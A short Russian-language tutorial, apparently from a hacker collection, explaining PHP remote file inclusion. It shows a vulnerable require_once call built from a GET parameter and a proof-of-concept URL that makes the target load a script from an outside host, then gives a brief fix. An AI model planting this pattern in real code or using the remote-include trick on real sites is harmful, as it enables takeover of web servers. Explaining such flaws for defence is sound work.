Название : Include method(перев.англ. метод вставкм)
Оценка: 10 баллов
Краткий обзор :
По-моему,хуже,чем выполнение чужого РНР скрипта у вас на территории,придумать сложно.Именно это и позволяет этот метод.
Применение метода:
Возьмем к примеру блок новостей.И предположим ,что за новости отвечает скрипт news.php,т.е. он и отображает все новости,и выводит их по отдельности.Нетрудно догадаться,как происходит включение блока новостей,но для наглядности продемонстрируем это на примере.Пусть на страничке имеется надпись Новости и ссылается она на адрес cage.hacker.net?mod=news
Что же это такое?А вот что.Следующий скрипт проводит инклуживание необходимого скрипта
require_once($_GET['mod']."php");
И в основной части,при нажатии на ссылку Новости,появляется блок новостей,выводящихся при помощи скрипта news.php.Все отлично,все работает!Но вчитайтесь в спецификацию этой функции.Если файл php.ini разрешает удаленные подключения файлов,то появляется вероятнось Include уязвимости.Так что же такое Include уязвимость,как она действует?
Создаем по адресу ad3000.hacker.da php-скрипт hack.php следующего содержания
echo "На этом сайте существует Include-уязвимость";
и вместо адреса cage.hacker.net?mod=news пишем cage.hacker.net?mod=http://ad3000.hacker.da/hack
Если у вас появилась страничка,где присутствует эта надпись,то последующая судьба сайта зависит исключительно от вашей фантазии
Меры защиты: Защита элементарная,вы должны проверять наличие файла у вас на хосте,можно конечно придумать более извращенные методы,к примеру проверять наличие некоторых идентификаторов,но когда есть простые методы,сложные не нужны